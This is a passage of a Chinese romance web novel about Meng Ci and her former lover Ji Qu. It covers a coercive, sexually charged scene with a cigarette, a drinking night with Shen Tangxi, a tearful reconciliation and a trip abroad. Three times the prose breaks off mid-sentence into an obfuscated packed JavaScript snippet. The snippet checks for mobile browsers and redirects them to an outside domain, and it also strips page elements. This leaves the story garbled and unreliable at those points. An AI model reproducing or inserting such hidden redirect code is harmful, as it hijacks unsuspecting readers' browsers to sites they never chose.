烟雾渡进孟慈的口腔,一路游荡至肺,劲儿比孟慈平时抽的不知道大了多少。 烟雾散尽,季曲又勾着孟慈的舌头吸了一会儿。 结束时趁着孟慈还没来得及闭嘴的空档把烟嘴塞了进去。 一时间孟慈被呛得气管都疼,咳了几声,烟灰在空中打颤,不知道什么时候就会掉下来。 “抽吧。”季曲大发慈悲似的,诱人深入禁林腹地。 孟慈摇头,季曲视而不见,用指背抚去孟慈眼角泫然欲滴的泪,埋头于自己的要紧事。 由于今天是商务宴请,孟慈穿的还算正式。 合身的丝质衬衣,长到小腿的包臀裙。 季曲三两下便解完纽扣,衣襟柔顺地搭在两边,露出一道深壑。 深深地看了一眼。 季曲的鼻尖沿着孟慈的下巴往下滑,沿着沟壑起伏。 滚烫的呼吸沿路喷洒,惹得孟慈浑身一震起了鸡皮疙瘩。 想要阻止,偏偏双手又被束缚。 孟慈蹬了蹬双腿,高跟鞋尖勾在季曲小腿上。 季曲抬头。 孟慈眉心微簇,红着脸品着力度轻轻摇头。 烟灰这个时候掉的话只能掉在自己身上,眼里盛满的求饶意味不言而喻。 “不好抽?怎么下得这么慢?”季曲看了眼烟身燃烧的长度,做作地皱眉,把烟换到自己的嘴里吸了两口,“这不是挺好的?” 孟慈得到短暂自由,连忙说软话:“我以后戒了还不行吗?” 季曲装作不解:“为什么啊?挺好的戒什么。” “吸烟有害健康,盒子上都写了。” “哪儿啊?”季曲反手在茶几上探过烟盒,煞有其事地仔细翻看。 “我错了,我以后也尽量少喝酒。”孟慈尽力把语调揉软。 “真的?” “真的,我发誓。” 季曲收回目光,把烟盒扔回原处,顺便磕掉多余的烟灰,眼疾手快地趁孟慈再开口的时候把烟塞回原处。 孟慈脾气硬,第一次拿不下以后就再甭想了。 不管这次之后孟慈怎么生气,自己得怎么哄,季曲都认了。 毕竟烟酒真算不得什么好东西。 拉开孟慈腰侧的拉链,往上推。 碰到阻力,就勾住孟慈的膝盖窝把人往上一举,薄软的布料轻而易举地堆叠在一起。 为了避免孟慈心一狠松开嘴任由烟头掉在自己后脑勺,季曲把人往外拖了拖。 受力点落在沙发边缘,后腰支在虚空,上半部分的背靠在沙发上。 孟慈彻底失去重心。 季曲面对孟慈坐在茶几上,慢条斯理地伸手顺着肌肉走向前进,隔着光滑的丝质品,季曲的手捏到哪儿哪儿的肌肉就变得紧绷。 滑到布料重叠最多的部分,反复。 直面孟慈逐渐崩坏的面容,季曲始终绷着脸一言不发。 季曲指上的温度像是刚刚席间的温热清酒。 却没有杯身的坚硬,柔软的像水。 像窗外露着半张脸的冷月。 隔着丝挑布。 季曲观察着孟慈脸上的神色,一直到她的眼眶兜不住泪,牙齿咬不住烟的时候才手疾眼快地把烟接住。 季曲把剩余的烟两口抽完,捻灭在茶几表面,再看向断断续续地抽噎着的孟慈,叹了口气。 伸出双臂把人抱进怀里放在腿上,探过刚刚扔在一旁的外套裹在孟慈身上,一下一下地帮孟慈顺气。 好久不见孟慈这么哭过,眼泪像断了线的珍珠,比她脖颈上挂着的那根还要圆润。 季曲一时间后悔自己是不是把人欺负的狠了。 想把人从怀里拉出来看看,却被孟慈紧紧地勾住脖颈,脸埋在自己肩膀,死活不松。 惹哭了还得自己哄,季曲认命般得开口:“不哭了好不好?” 孟慈愈发委屈:“我都……我都说了戒烟了。” “我之前也说了,你不是也不信。” “那不一样。” 孟慈说着说着又开始委屈,原本还理直气壮的语调霎时间打了个弯,再次被咸涩的眼泪泡软。 季曲连忙哄道:“好好好,不一样不一样。” “我做的太过分了是不是?” “但是你说你身上带着那么多烟酒味回来,给你发消息你也不回,是个人就着急不是?” 孟慈没忍住回嘴:“你之前……” “我之前可没这样,我哪敢不回您信息,我哪次局上没给你报备?回了家第一件事不就是洗澡?熏着你我半个月上不了你的床,近不了你的身。”季曲嘴快,再加上自己确实占理,几句话就把孟慈堵的严严实实毫无反击之力。 怀里的人安静了一会儿,然后支起头和自己面对面。 孟慈眼泪汪汪,嘴也瘪着,就这么直勾勾地看着季曲,没几秒就占了上风,季曲开始头疼。 “好好好祖宗我的错。” “给你买个包怎么样?听说最近出了不少新款。” “还是给你囤点金条?保险箱还能装下吗?再给你买一个保险箱怎么样?” 孟慈没反应,眼泪又簌簌滴往下掉,流的季曲的心都化了半块。 “……那个科研团队,下周一来领走。”季曲咬咬牙,亮出最后的筹码。 听到这儿,孟慈才慢吞吞地眨了眨眼:“真的?” “真的。” “今天周几?” 扫了眼墙上的表,早就过了十二点,季曲说周三,孟慈点头,但嘴上却说周四就要。 季曲无语,孟慈等不到回答眼泪又蓄势待发。 “行行行!”季曲连忙答应,“周四就去领!” 孟慈这才满意,酒劲也过去大半,总不能叫季曲白占便宜。 嗓子眼因为烟草和这半天的哭泣干地发毛,捂着嘴干咳了几下。 季曲连忙把人放在沙发上去冲蜂蜜水。 端着水杯回来,孟慈已经蜷在沙发角落里睡着了。 季曲看着孟慈的睡颜,心里某处沉了沉,整个胸腔被堵满。 不是吃撑后的满,而是经过苦求而得到心念之物的满。 第二天一早,孟慈醒来时身边空无一人,太阳穴隐隐作痛,是宿醉之后的老毛病,在床头探过手机,屏幕上多了一张便利贴。 【要是拉黑我或者不理我的话,团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467113|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队随时收回。——季曲】 孟慈冷笑一声,撕了贴纸顺手扔在浴室的垃圾桶。 真是幼稚。 阿姨做了早饭放在餐桌上,孟慈没胃口,径直离开,季曲给孟慈留了车子和司机。 回到自己家舒舒服服地洗了澡点了助眠香薰,拉紧窗帘手机调至静音,孟慈踏踏实实地睡了一觉。 周四一早,孟慈就神采奕奕地带着方萤去接人。 季曲那边已经安顿妥当,孟慈简单地做了自我介绍,便顺利的把人接到自己的公司。 接下来的事自然由黄景峰处理,因为自己也要出个差。 — 安翰最近丢了不少项目给安娜练手。 明眼人都看得出来是为了孟慈,毕竟和孟慈关系近的人没几个,而孟慈又有季曲罩着,所以安娜的买卖只要能搭上孟慈的线可以说就是稳赚不赔。 “我可不是那种小人。”安娜架着硕大的墨镜坐在饭桌上义愤填膺地说,“慈慈,我什么时候利用过你!你说到底是谁嘴那么碎!千万别被我抓住!” 孟慈坐在安娜的对面,嘴角噙着笑,一副不甚在意的模样,一双明眸落在菜单上。 “淮扬狮子头怎么样?他家的招牌。” “可以。” 招手叫来服务生,孟慈只点了两蛊狮子头,其余的让他按照两人的份量配着上就可以。 抬手给安娜倒了杯茉莉花茶,让她降降火气。 安娜最近接了个零件项目。 老板是南方人,谈起买卖精打细算,尤其在价格上,恨不得把浮动定在小数点后三位。 偏偏安娜又是典型的直性子,一来二去地打太极打得头苦,便拉着孟慈直接杀到上海,打算一锤子敲定买卖。 孟慈起初也疑惑,自己公司的项目谈判还多是黄景峰啃下来的,就算自己最近重新上手,但也难免生疏,安娜带自己来除了在人数上多一位之外没有任何用处。 “哎呀当然不是让你和我受苦去,是因为那边刚好有个品牌秀,我嫂子生日快到了,你陪我去挑挑。” 孟慈闲来无事,便也答应了。 安娜和对方约在下午三点,吃完午饭后安娜乘车离开。 孟慈回酒店休息了会儿看时间还早,便下楼在附近逛逛。 刚好酒店楼下就是商圈,不怕没处打发时间。 虽然是冬天但是各大品牌已经等不及似的上新春款。 在销售的陪伴下,孟慈看中一条碎花方巾和帽子,刚好给裴沛钓鱼的时候用。 “包起来吧。”孟慈利索选定。 “好的,我们还有配套的衣物您要不要也选一下?过起年就能穿上。”销售笑着指了指不远处模特身上的穿搭。 孟慈犹豫了一下,便被极会察言观色的销售热情地邀到VIP室等待。 拉着品牌LOGO的咖啡甜品在孟慈面前一字排开。 销售说自己去取衣服,马上回来,孟慈也只能笑着说好。 手机一震,放下手中的咖啡,孟慈一看是安娜发来的消息,说自己还要一会儿,大约要晚饭时间才能结束。 孟慈回了句没事,退出和安娜的聊天页面后看到再次顶到上面的未读消息。 季曲只说不能拉黑,又没说自己必须要回复,熟练地左滑删除。 孟慈还没来得及放下手机就听到熟悉的声音。 “孟慈?”沈棠溪的声音从门外传来,“我远远看着就觉得是你,怎么来了这儿不给我打电话?” 沈棠溪剪了短发,却依旧热烈明媚,一屁股坐在孟慈旁边拉着孟慈的手抱怨,还没等孟慈说话就订好了晚餐地点。 销售一看两位大客户是熟识,便把沈棠溪的那份甜品端到了孟慈这里。 沈棠溪热情道:“怎么样?准备呆几天?我都给你安排好了。” 孟慈心里还记着沈棠溪和季曲的“姻缘”,多少有些推拒:“明天晚上就走了,你别费心。” 沈棠溪才不管这些,她拿着手机开始摇人:“别和我见外,晚上领你去见见我国内的朋友们,你还没谈恋爱吧?我有几个从小玩到的朋友……” 孟慈拒绝无用,只能认命般地听着,时不时地附和几句。 “哎对了,我婚约取消了你晓得伐?”沈棠溪看着鱼贯而入的模特们突然来了一句。 “嗯,知道。”孟慈点头,咽下嘴里的拿铁。 她当然知道,因为兜来转去,孟慈又和季曲走在了一条昏暗小巷。 不过几月,沈棠溪的爱人变成了过去式,而孟慈爱的人,也许变成了进行时,还是将来时? 孟慈也有些说不准。 26. 第 26 章 安娜不出意外的被客户绊住脚,在手机里发了一连串抱歉。 孟慈回没事,刚好自己也碰到朋友,晚点酒店见。 “别人就不说什么了,但是你来,我肯定得陪好。” 沈棠溪领着孟慈去了一家黑珍珠,好的贵的时鲜的,全部上了一遍,俨然不顾两人的食量,最后不出意外的剩了大半桌。 饭后活动安排在一处酒店的楼顶。 沈棠溪说那家店新来了一位调酒师,帅的离谱,收拾收拾能直接出道当小明星。 孟慈跟在沈棠溪身后:“那有什么稀奇的,小明星你不是也谈过。” “那倒是,但是这个更帅。”沈棠溪勾唇一笑,从服务生手里接过贴纸,分别挡在两人手机的摄像头上。 夜已深,酒意浓,私密场合禁止拍照。 沈棠溪的朋友们已经来了不少,沈棠溪拉着孟慈一一打招呼,随后带着人在最中央坐下。 旁边的朋友们递上酒水单,沈棠溪先给孟慈。 “喝点什么?” “招牌好了。” 孟慈简单扫了一眼,花哨的名字根本分辨不出是什么内容物,干脆交给老天,沈棠溪挥手也要了一样的。 沈棠溪看着一副久经沙场模样的孟慈没忍住开口:“可以啊,回国了酒量渐长。” 孟慈眨眨眼:“反正你会送我回去。” 沈棠溪说那可不一定,毕竟自己酒量也差,属于自身难保的那类人。 旁边的朋友们都笑了,一些男生纷纷表示很乐意接下护花使者的活儿,问孟慈在哪个酒店下榻。 沈棠溪开口阻拦,说孟慈可是自己学长在追的对象,她得替人看着。 “对啊慈慈,你和梁漠怎么样了?”沈棠溪在酒桌游戏的间隙想起来。 “没怎么,还那样。” 孟慈今晚运气好,摇骰子怎么摇怎么赢,要大开大,说小开小。 孟慈的对家已经换了三位。 沈棠溪好奇:“他表白了?” 孟慈点头。 “你没答应?” “没,我又不喜欢。” 沈棠溪撇撇嘴,说孟慈眼光太高,又问孟慈喜欢什么样的,她可以介绍。 “开!” “终于输了吧!” 众人终于抓住了孟慈输局,孟慈顿了顿,随即笑着抬手取了一杯龙舌兰饮下。 “好酒量!沈棠溪你哪儿来的朋友这么会喝?” “我大街上捡来的!” “哪条街啊?我们也去捡一捡!” 大家闹在一起,气氛愈热。 游戏差不多结束,键盘换成吉他。 大家在舒缓的音乐中歇歇酒劲儿,准备迎接下一轮高/潮。 孟慈趴在沈棠溪耳边说要给朋友打个电话。 沈棠溪给她指了指不远处的小花园,那边清净。 孟慈本想告诉安娜自己会晚点回去,让她不用担心,却没想到结果安娜那边也喝了不少,已经和助理回了酒店。 孟慈便让安娜先休息,不用操心自己。 六十层的露天平台,一面是声色犬马,一面是清风明月。 服务生在孟慈落座的同时就端来解酒茶,挂了电话温度刚好入口。 孟慈拿着茶杯浅啄几口,胃里的灼烧感奇迹般的压下去不少。 “喝多了?”沈棠溪不知道什么时候走到孟慈身边,“要不要送你回去?” “没事。”孟慈弯眸一笑。 沈棠溪抹了把被风吹乱的短发,说自己是真的很感谢孟慈。 毕竟当时沈家的新闻占了财经新闻那么大一片版面,不求人施以援手,只要不落井下石都是万幸。 爸爸和叔叔们同一时间失去消息,自己和妈妈在外面四处奔波找人求助,效果微乎其微。 正当沈棠溪焦头烂额的时候,孟慈打来电话,问自己需不需要钱。 对,钱。 钱不是万能的,但没钱万万不能。即使是杯水车薪,也好过没有。 孟慈在电话里说会找人给沈棠溪送一张卡,让她自己拿。 毕竟是特殊时期,大笔的进账会被注意到,沈棠溪名下的财产也不一定什么时候会被封。 “你那个时候说,你不认识什么人,没什么关系能帮我疏通,只能给我钱。”沈棠溪说到这儿眉开眼笑,“我还以为你也想包养我。” 孟慈眨眼,忽略了沈棠溪话里的“也”,跟着笑起来。 孟慈:“我谈的可都是男生。” 沈棠溪:“谁不是啊。” 对上沈棠溪骄傲的表情,孟慈口风一转,“不过要是对方是你……女孩子我也能试试。” “哎,你的卡我可是还你了,要想追,先排队。” 沈棠溪一点不客气,话罢还故作骄纵地转了转自己指根处鸽子蛋大小的戒指。 “男朋友送的?” “我妈给我的。”沈棠溪伸手展示,嘴一撇说男人才不会这么舍得。 孟慈点头表示赞同。 聊到兴头上,沈棠溪找服务生要了烟,自己含一支,又递给孟慈一支。 看着递到眼前的烟,孟慈立马想到那晚,历历在目,顿时有些膈应。 摆摆手,孟慈说自己最近嗓子不舒服,忌一段时间。 休息的差不多,孟慈的酒意散了大半,沈棠溪拉着人回了酒桌,说再玩一轮就转场。 老套的真心话大冒险,却总有新意。 没转几圈,瓶口就对准沈棠溪。 她选了真心话,毕竟上一位大冒险的可是跑到楼下抱着灯柱随机来了一段钢管舞。 席间都是沈棠溪的密友,当然不会放过机会。 “你上次和我们出来玩喝醉了,有人看到你被你的前未婚夫接走了……” “季曲啊,你们又不是不知道……” “NONO!我们要问的是……你们当天晚上亲了几次嘴。” 沈棠溪显然没想到会问这种无厘头的问题,翻了个白眼说没亲。 “切~” “快得了大家都是成年人……” “就是就是,你沈大小姐什么时候玩过素的……” 沈棠溪无语,说真没亲,没注意到旁边逐渐放下唇角的孟慈。 “叫过来!叫过来我们当场问,又不是没见过本人。” “就是,咱们可在一张桌子上吃过饭!” “现在就打电话。” 一群人闹哄哄地,逼得沈棠溪没办法,只能给季曲拨通电话。 铃声响了两三声,对面接起。 “喂?” “季曲,忙吗?” “还好,什么事?” “就是……那个……”沈棠溪多少有些吞吞吐吐。 对面的季曲察觉到这一点,问:“你叔叔又找你们麻烦了?” “没!没找……我就是……” 毕竟不是平常惯熟的朋友,沈棠溪是在没法突然来一句“你和我朋友说一下我们没亲嘴”,多怪啊。 季曲听出来应该没什么大事:“有事的话就联系刘律师,我最近也在这边,有什么不方便的找我也行。” 沈棠溪意外道:“你来啦?什么时候?怎么没提前说……” 季曲还没来得及回答,那边就传来一声女声,喊季曲的名字,季曲回了句马上。 沈棠溪用还残存的几分清醒辨认出声线的主人:“是薄小姐吗?” 季曲没否认:“对,那我先挂了。” “好。” 沈棠溪连忙按了挂断键,朋友们纷纷问薄小姐是谁。 沈棠溪简单说是季曲的青梅竹马,大家听到这儿也不再追问。 大晚上的人家身边都有伴儿了,还亲嘴个什么劲,顿时无趣。 叫嚷着让沈棠溪喝了半杯酒,这局游戏就算这么过了。 说了这么久,沈棠溪突然发现旁边的孟慈没了动静。 转头去看,只见她手捏着玻璃杯,低着眼,不知道在想些什么。 “孟慈?”沈棠溪贴近孟慈几分,嘈杂的音乐混在两人中间,有些影响交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“季曲,我也认识,甚至比你还早。” 说完,孟慈拉开两人的距离,看着沈棠溪笑,淡淡的,冷冷的。 大家看看始终保持微笑的孟慈,又看看突然呆滞住的沈棠溪,好奇心倍增。 “什么啊?” “对啊沈棠溪快说!” “话说一半要人命吗??” 沈棠溪一时间反应不过来。 怎么自己的前未婚夫和孟慈还有关系?但是就算是有关系,关自己什么事? 自己又不喜欢季曲,干嘛孟慈一副对不起自己但是又再轻松不过的样子。 嘴张了又合,她竟然不知道先从哪里说起才好。 就这一段时间的迟疑,朋友们已经快闹得翻了天。 孟慈见状,说那就再加一个大冒险好了。 既然沈棠溪不愿意说,就只能从别处填补大家的好奇。 “你刚刚给沈棠溪看的是什么?” “聊天记录。” “这个人你们俩都认识?” “嗯。” “给他打电话。” 孟慈看向沈棠溪,摇摇手机,询问她是否可以。 沈棠溪皱眉,再次想着,关自己什么事,在朋友们的催促声中,点了头。 得到许可,孟慈动作利落,指尖在屏幕上按按,已经拨出去。 铃声再次响起,对面接的明显更快。 “喂?慈慈?” 熟悉的音色传来,大家一时间有些发懵。 有耳朵尖的已经听出来对面是谁,但是没敢说出来人名,只是面面相觑。 “嗯。” “怎么了?这么晚是不是出什么事了?” “哦,没。”孟慈说到这儿,看向在场众人轻松发问,“打通了,然后呢?” 鸦雀无声,沈棠溪也愣在原地,一双眼直直地看向孟慈,满是惊诧。 “那我自由发挥了?” 孟慈喝完杯中的酒,一路从喉烧到胃,甚至连心好像也火辣辣的。 “孟慈?”季曲听出来这边有些不对,刚开始的欣喜被疑问替代。 咬着半化的冰,孟慈慢慢开口。 “来接我吧,季曲。” “就现在。” 27. 第 27 章 季曲赶到的时候沈棠溪已经把好事的朋友们赶走去下一个场子等着,酒桌上只剩下自己和孟慈。 夜风猎猎。 即使是南方毕竟也是北半球。 季曲给沈棠溪递上旁边的毛毯,又把自己的外套披在孟慈身上,拢住她光洁的肩膀。 刚刚打完那通电话,孟慈又喝了几杯。 现下已经靠在抱枕上小憩,呼吸沉沉。 “你们认识啊?”沈棠溪没忍住发问。 毕竟孟慈从来没提过季曲的事,而且自己刚刚还提了薄小姐,谁知道现在季曲和孟慈是什么关系。 “嗯,很久了。”季曲伸手在孟慈的额头和脸颊上摸了摸,滚烫一片。 “没听你们说过。” “她出国前和我分手了,然后才认识的你,然后我们订婚,现在我在追她,不过还没成功。” 信息量太大,沈棠溪突然发现自己嘴真的很笨,不知道该说什么。 “我想和她解释的,但是她好像没怎么听进去,而且我也没怎么说清楚,你知道的我有点表达差劲。” “解释什么?” “……就我们的订婚是家里做的主,咱们可没什么感情,然后你后来找人私下帮我们家争遗产什么的……” 季曲的注意力全在孟慈身上。 她手里还握着一支酒杯,酒味刺鼻,季曲不由自主地皱了皱鼻子,然后又低头靠近孟慈,嗅嗅。 没有烟味。 “哎你干嘛!我还在这儿呢!” 沈棠溪看着季曲的举动连忙捂脸,手再次拿开时,季曲已经从沙发上抱起孟慈。 沈棠溪:“就走了?” 季曲:“不然呢?” 沈棠溪:“我也走!” 观光电梯里,沈棠溪站在季曲的右后方,看着窝在季曲怀里一动不动的孟慈,有些拿不准,毕竟都是帮过自己的人,思考再三,还是开了口。 “那你和薄小姐的事,孟慈也知道的对吧。” “知道。” 听到这儿沈棠溪才松了一大口气,可别因为自己青梅竹马的一句话让孟慈心里难受。 但是,青梅竹马又是事实。 硬着头皮,沈棠溪再次开口:“那你们三个……” 季曲打断:“没有三个,就我们俩,就我和孟慈。” “地下三层到了……” 电梯运行到终点,三人分手。 - 孟慈再醒来时已经换了衣服。 黑色的男士T恤大到能当连衣裙,她从床上坐起身四处看看,是一间陌生的卧室。 沿着木地板上的光亮,孟慈在厨房找到季曲。 他穿着家居服,背对着自手里拿着汤勺在锅里翻搅。 “醒了?”季曲听到声音回头,看到孟慈光脚站在地板上,立马关了火走到孟慈身前把人抱到高脚椅上坐着。 “怎么不穿拖鞋?地上多凉。” “没看到。” “就在床头。” 季曲回到卧室取了拖鞋,又蹲在孟慈脚边给人换上。 孟慈低头看,款式和季曲脚上的一模一样。 “是新的。”季曲怕孟慈又犯洁癖,解释了一句,然后又回厨房舀了碗醒酒汤出来。 碗边的温度很烫,季曲衬着纸自己端着,吹着晾凉了好一会儿才送到孟慈手里。 确实有些头痛,孟慈拿着汤勺舀了几口喝,食道里的灼烧感还在,这个时候吞什么都很难舒服。 她把汤碗搁在一边,“有冰吗?” “有。”季曲当下就知道孟慈要冰做什么,去冰箱取了些冰块,又用纯净水过了一遍才拿回来。 取了一块含在嘴里尤觉不够,干脆咬碎吞咽,灼烧感得到缓解,孟慈又去取一块儿。 季曲适时开口:“你一边吃我一边解释怎么样?” 孟慈答得快:“不想听。” 一连吞了五块冰,孟慈才放下杯子,抬眼看向季曲,他看起来倒是平和。 孟慈:“沈棠溪知道薄小姐和你的关系。” 季曲:“是。” 孟慈:“但是沈棠溪不知道我们的关系。” 季曲犹豫了一下才回答说是,他不懂孟慈这么问的理由。 不怪他。 孟慈也有些不懂,自己为什么要这么问。 她只是不满,为什么深夜时分季曲身边的一道单薄女声,就会被人理所应当的认为是薄娴。 孟慈头疼加剧,她又取了一块冰含在嘴里咬碎,“你说你要出差。” “我真的有工作,见薄娴只是其中一天的安排。”季曲解释道。 怎么两个人的感情中总是会有第三个人的存在。 孟慈下意识地续冰,却被季曲伸手挡住。 “不能吃了。”季曲看了眼半空的玻璃杯,不假思索地拒绝。 孟慈绕开季曲的手,颇有些破罐子破摔的意思,“不用你管。” “怎么就不用我管。”季曲看着脸色有些发白的孟慈不免气恼,有了脾气可以发出来,而不是伤害自己。 孟慈猛地从椅子跳上下来,推开季曲伸手就要去抢,却被季曲挥手拦住。 两人推搡间玻璃杯摔到地上,冰块和杯身一起四分五裂,白织灯打在上面,闪闪发光。 杯子落地的瞬间,季曲飞快转身挡在孟慈前面,他怕飞溅的玻璃划伤孟慈。 孟慈的小腿上溅了些冰水,她下意识低头看过去。 季曲因为孟慈的动作以为她受了伤,连忙把人抱到沙发上查看。 借助水晶灯的耀眼光彩,季曲细细地把孟慈的双腿检查了一遍又一遍,再三确认无事后才松了一口气。 期间看到孟慈上次在派出所留下的伤疤还没彻底消下去,他用指腹刮了刮。 孟慈看着季曲小心翼翼地抚摸伤疤模样,有些难过。 季曲的爱到底是什么样的?她不清楚。 她努力保持声调平稳:“当初你自己选了薄娴,我没让你为难,现在你仍然选了薄娴,但是为什么又要来招惹我?” 季曲的火早在玻璃杯落地的瞬间就被那些冰水浇灭了,他现在冷静又清醒。 “我没选她,当初也是现在也是,你应该给我解释的机会。” 孟慈当时走的利落,一刀两断的速度和态度也多少激怒了季曲,再加上确实有些公司的事要处理,季曲就想着先晾晾人,等过了这段时间再说,却不想把人晾跑了。 “这是解释不解释的问题吗?”孟慈看着季曲,只觉得他在避重就轻。 季曲收回视线,把孟慈蹭高的T恤下摆拉回原位,又给孟慈裸/露的双腿盖了层毛毯才慢慢抬头。 “慈慈,话不能这样讲,难道当时我解释了你就能留下?” 季曲温柔又残酷地刨析:“你把车钥匙还我的时候,你把珠宝首饰邮回来的时候,你把我们共同的朋友从你的交际圈剥离的时候,我不觉得你只为了我一句解释。” 孟慈有些急:“你不解释怎么知道我不会。” 季曲不会被孟慈的情绪带着跑,他试图用自己的节奏让孟慈冷静下来。 所以他说:“你爱我吗慈慈?我觉得你不爱。” 季曲用平静地叙述他的观点,像是在评价一份收购方案一样,客观且一针见血。 “慈慈,最起码那个时候你应该算不上爱我,只是喜欢我罢了。” “我能让你依赖,我能给你港湾,我能宠着你让你自由自在地做一切想做的事,我还能帮你盖自己的高楼大厦,提供一切你想要的机会。” “你有野心却不想被别人看出来你有野心,所以总是在我捧上一切的时候说什么都好,你缺爱却又不想被别人看出来你缺爱,所以总是装作独立,你明明已经想离开我却不想亲手做决断,所以给自己找了理由来和我分手。” 铺垫的差不多了,季曲慢慢拨开云雾,他似乎怕残酷的真相会伤害到孟慈,还放柔了语气,以一种包容又宽恕的眼神注视着孟慈。 “我那天没有约薄娴见面,但是薄娴却说是我给她发了消息约她吃饭,我的账号前一晚在平板上登陆忘了退出,那天,平板一直在你身边……” “慈慈,从始至终都是你要离开,是你不要我的,所以我并不觉得解释有用。” 灯光摇曳。 几缕落在季曲身上,把他冷厉的轮廓柔化,就连咄咄逼人的话,好像也变得循循善诱。 孟慈不得不承认。 季曲说的,件件是事实。 包括孟慈离开的“导火索”。 那把火,其实是孟慈自己放的。 不然呢?孟慈不由得握紧双拳,指甲扎在掌心,泛起阵阵的痛。 总不能要求季曲爱自己吧,总不能要求季曲像个普通人一样为爱情而头脑发昏。 他明明拥有所有美好的一切。 孟慈凭什么让季曲为了自己而变成普通人呢? “啪”的一声,精心养护的指甲断裂在掌心,但是孟慈似乎感觉不到痛楚。 她只是迟钝地眨眨眼,迟钝地感受心脏仿佛被钝刃反复割扯。 过了一会儿,孟慈伸手环住季曲瘦轫有力的腰肢,轻轻靠在上面,似是在低头,似是在讨好。 季曲先是一愣,然后回抱,圈紧孟慈柔软的身体,手压在她的背上,轻轻拍,似乎想给她安全感。 “…那你呢?” 孟慈打破平静。 她在季曲的怀里缓缓抬起头,眼眶有些红,浅浅地问:“季曲,你爱我吗?” 孟慈眼底水意浓重,像只晶莹剔透的玻璃球。 “沈棠溪和我说,她原本不想带喜糖去学校,是你非要让她带,还带了很多,很多很多,让她分给同学朋友,托运的时候甚至都超了重量……我不信你不知道我在哪里读书,你明明什么都知道。” 孟慈微仰着头,泪水顺着眼尾滑过太阳穴沉没进发间时,季曲捧住孟慈的脸,毫不犹豫地吻下去。 孟慈的唇被吻到水光淋漓,一时间胜过她的眼,季曲抵着孟慈的额头,给出他以为的孟慈想要的答案。 “我故意的,故意让沈棠溪带着喜糖回去,故意在你掏出糖盒时假装陌生。” “你以为爱尔兰的房子那么好找?你以为随手招聘的阿姨那么妥帖?还是你以为一张亚洲脸孔在学校那么好混,仅仅因为你漂亮?” “我给过你离开的机会了,但是你怎么偏偏又飞回来?” 在一声声的反问中,孟慈望着季曲愈发模糊。 季曲抹掉孟慈断了线似的落下的眼泪,哄劝似的咬着她的嘴唇低语。 “慈慈,我们重来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478350|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这次爱我吧,我们再试试。 - 第二天一早,孟慈在一楼客厅看到安娜,她正和季曲一起坐在餐厅吃早饭,看到孟慈下楼的时候极自然地抬手打招呼。 “我来给你送行李。”安娜指指玄关处的行李箱。 孟慈更是一头雾水,季曲从锅里盛了粥,放在自己旁边的空位上,孟慈刚坐下,安娜就说司机到了要先离开,后天再见。 等到安娜离开,看着孟慈喝了小半碗粥,季曲才慢慢解释。 安翰要在何冉生日的时候求婚。 婚期定在今年夏天,由于何冉的艺人身份,安翰始终没在公开场合给何冉正式求婚,现在日子也订好了,自然要补上。 何冉最近因为行程需要在国外,安翰便邀请了一众好友飞过去凑个热闹。 “咱们明天上午的飞机。” “我?”孟慈说自己没收到通知。 季曲把手机里的语音消息公放。 大致内容就是安翰邀请季曲和孟慈一起到场,就当他请大家出来新年旅行。 看着孟慈抗拒的表情,季曲夹了小菜放到她面前的小碟里,“你总不能让何冉本人邀请你吧。” 准新娘现在怎么可能知道这个消息,孟慈被嘴里的粥噎了一下,不着痕迹地瞪了季曲一眼。 季曲:“今天想去哪溜溜?” 孟慈头也没抬:“你不去陪薄小姐?” 昨晚虽然捅破层窗户纸,但不多。 一个小洞,漏不进多少阳光。 说实话,季曲没把薄娴当作自己和孟慈间不可逾越的阻碍。 毕竟他和薄娴确实没什么男女方面的心思,要是真有,沈棠溪这号人物都不会出现在自己的生活里,偏偏孟慈抓着不放。 怎么讲? 季曲当然不会和薄娴断绝联系,不说前几辈的关系情分,自己家还有个薄姓的嫂嫂坐镇。 但是季曲现在也不可能对孟慈放手。 安翰求婚这趟,他本来没什么意愿参加。 但是转念一想,换一个新环境,带着孟慈好好玩一趟,脱离这些陈旧的关系背景,也许会好一点。 而且这趟过来,纯属是因为薄娴的复诊时间到了。 病情属于私人信息,他没法和孟慈坦白。 不坦白难过的又是自己,昨天好不容易把孟慈的冰冻外壳敲开一个角,总不好功亏一篑。 这么想着,季曲开始思考要不要把机票改签,早去一天,就能早逃离这些一天。 “咱们下午就飞吧。”季曲拿出手机找孙谦更改行程信息。 “不是明天?”孟慈对季曲这种突如其来和避重就轻的做法十分不满。 “明天礼幌有雪,怕会耽误行程。” “咱们今天就走,晚上吃和牛。” 拗不过季曲,孟慈上飞机时还穿长风衣,落地时就被季曲随身带着的羽绒服裹到脚面,从远看就像机场门口的矮灯柱。 要不是被迎面而来的风雪迷了眼,孟慈一定把这件羽绒服立马脱了扔在地上。 季曲倒是始终一件深黑色大衣,走在皑皑的街道上,像是来拍画报的模特。 安翰定了间自带温泉的酒店,一屋一泉,互不打扰。 屋后就是雪山,从洁白到深蓝再到漆黑,活脱脱像一幅画。 由于两人提前到了一天,需要本人去登记信息,办理入住的时候季曲还拒绝了几位客人的好友申请。 孟慈坐在休息区冷眼看着,到哪都不消停。 